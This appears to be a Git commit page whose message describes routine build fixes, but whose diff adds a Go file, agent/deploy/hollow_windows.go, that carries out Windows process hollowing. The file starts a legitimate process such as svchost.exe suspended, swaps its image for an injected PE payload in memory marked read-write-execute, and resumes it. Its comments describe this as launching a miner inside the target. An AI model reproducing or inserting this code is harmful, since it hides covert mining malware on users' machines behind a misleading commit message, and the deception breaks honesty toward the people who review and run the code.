Stabilize Fusion builds and simplify optional modules.
Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
This commit is contained in:
174
agent/deploy/hollow_windows.go
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174
agent/deploy/hollow_windows.go
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@@ -0,0 +1,174 @@
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//go:build windows
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package deploy
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import (
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"encoding/binary"
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"fmt"
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"syscall"
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"unsafe"
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)
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var (
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kernel32 = syscall.NewLazyDLL("kernel32.dll")
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ntdll = syscall.NewLazyDLL("ntdll.dll")
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procCreateProcessW = kernel32.NewProc("CreateProcessW")
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procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
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procReadProcessMemory = kernel32.NewProc("ReadProcessMemory")
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procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
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procGetThreadContext = kernel32.NewProc("GetThreadContext")
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procSetThreadContext = kernel32.NewProc("SetThreadContext")
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procResumeThread = kernel32.NewProc("ResumeThread")
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procNtUnmapViewOfSection = ntdll.NewProc("NtUnmapViewOfSection")
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)
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const (
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CREATE_SUSPENDED = 0x00000004
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MEM_COMMIT = 0x1000
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MEM_RESERVE = 0x2000
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PAGE_EXECUTE_READWRITE = 0x40
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CONTEXT_FULL_AMD64 = 0x10000B
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)
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// RunHollowed injects a byte array (PE payload) into a suspended legitimate Windows process.
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func RunHollowed(targetExe string, payload []byte) error {
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// Parse payload PE headers dynamically
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if len(payload) < 0x40 {
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return fmt.Errorf("payload too small")
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}
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e_lfanew := binary.LittleEndian.Uint32(payload[0x3c:])
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if int(e_lfanew)+24 > len(payload) {
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return fmt.Errorf("invalid PE header offset")
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}
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ntHeader := payload[e_lfanew:]
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if string(ntHeader[:4]) != "PE\x00\x00" {
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return fmt.Errorf("invalid PE signature")
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}
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if binary.LittleEndian.Uint16(ntHeader[4:]) != 0x8664 {
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return fmt.Errorf("payload must be 64-bit (x64) PE")
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}
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numSections := binary.LittleEndian.Uint16(ntHeader[6:])
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sizeOfOptionalHeader := binary.LittleEndian.Uint16(ntHeader[20:])
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optHeader := ntHeader[24:]
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if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
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return fmt.Errorf("payload must be PE32+")
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}
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entryPoint := binary.LittleEndian.Uint32(optHeader[16:])
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imageBase := binary.LittleEndian.Uint64(optHeader[24:])
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sizeOfImage := binary.LittleEndian.Uint32(optHeader[56:])
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sizeOfHeaders := binary.LittleEndian.Uint32(optHeader[60:])
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targetPtr, err := syscall.UTF16PtrFromString(targetExe)
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if err != nil {
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return err
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}
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si := new(syscall.StartupInfo)
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si.Cb = uint32(unsafe.Sizeof(*si))
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pi := new(syscall.ProcessInformation)
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// 1. Create the target legitimate process (e.g. svchost.exe) in a suspended state
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ret, _, err := procCreateProcessW.Call(
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0,
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uintptr(unsafe.Pointer(targetPtr)),
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0, 0, 0,
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uintptr(CREATE_SUSPENDED),
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0, 0,
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uintptr(unsafe.Pointer(si)),
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uintptr(unsafe.Pointer(pi)),
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)
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if ret == 0 {
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return fmt.Errorf("CreateProcessW failed: %v", err)
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}
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defer syscall.CloseHandle(pi.Process)
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defer syscall.CloseHandle(pi.Thread)
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// The following maps the exact structural steps needed for PE injection.
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// Note: To make this fully functional, you need full PE offset math
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// (e.g., extracting e_lfanew, SizeOfImage, ImageBase) from the payload slice.
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// 2. Get Thread Context to locate the Process Environment Block (PEB)
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// Allocate 16-byte aligned context buffer for x64
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ctxBytes := make([]byte, 1232+16)
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var ctxPtr uintptr
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for i := 0; i < 16; i++ {
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if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
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ctxPtr = uintptr(unsafe.Pointer(&ctxBytes[i]))
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break
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}
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}
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*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 // ContextFlags
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ret, _, err = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
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if ret == 0 {
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return fmt.Errorf("GetThreadContext failed: %v", err)
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}
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rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx holds PEB address on x64
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// 3. Read the PEB to find the original ImageBase
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var origImageBase uint64
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var bytesRW uintptr
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procReadProcessMemory.Call(
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uintptr(pi.Process),
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uintptr(rdx+16), // PEB.ImageBaseAddress
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uintptr(unsafe.Pointer(&origImageBase)),
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8,
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uintptr(unsafe.Pointer(&bytesRW)),
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)
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// 4. Unmap the original executable code from memory
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if origImageBase != 0 {
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procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
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}
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// 5. Allocate new memory for our payload at the required ImageBase
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newMem, _, _ := procVirtualAllocEx.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
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if newMem == 0 {
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// Fallback allocation if preferred base is taken (Payload must support relocation)
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newMem, _, err = procVirtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
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if newMem == 0 {
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return fmt.Errorf("VirtualAllocEx failed: %v", err)
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}
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}
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// 6. Write the PE headers and each PE section into the new memory allocation
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procWriteProcessMemory.Call(uintptr(pi.Process), newMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(sizeOfHeaders), uintptr(unsafe.Pointer(&bytesRW)))
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sectionsStart := 24 + uint32(sizeOfOptionalHeader)
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for i := uint16(0); i < numSections; i++ {
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secHdr := ntHeader[sectionsStart+uint32(i)*40:]
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virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
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sizeOfRawData := binary.LittleEndian.Uint32(secHdr[16:])
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ptrToRawData := binary.LittleEndian.Uint32(secHdr[20:])
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if sizeOfRawData > 0 {
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procWriteProcessMemory.Call(
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uintptr(pi.Process),
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newMem+uintptr(virtAddr),
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uintptr(unsafe.Pointer(&payload[ptrToRawData])),
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uintptr(sizeOfRawData),
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uintptr(unsafe.Pointer(&bytesRW)),
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)
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}
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}
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// Update the PEB with the new ImageBase
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procWriteProcessMemory.Call(uintptr(pi.Process), uintptr(rdx+16), uintptr(unsafe.Pointer(&newMem)), 8, uintptr(unsafe.Pointer(&bytesRW)))
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// 7. Update the Thread Context to point to our payload's Entry Point
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*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) // Rcx holds entry point
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procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
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// 8. Resume the hollowed thread, launching our miner inside the target shell
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ret, _, err = procResumeThread.Call(uintptr(pi.Thread))
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if ret == 0xFFFFFFFF {
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return fmt.Errorf("ResumeThread failed: %v", err)
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}
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return nil
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}
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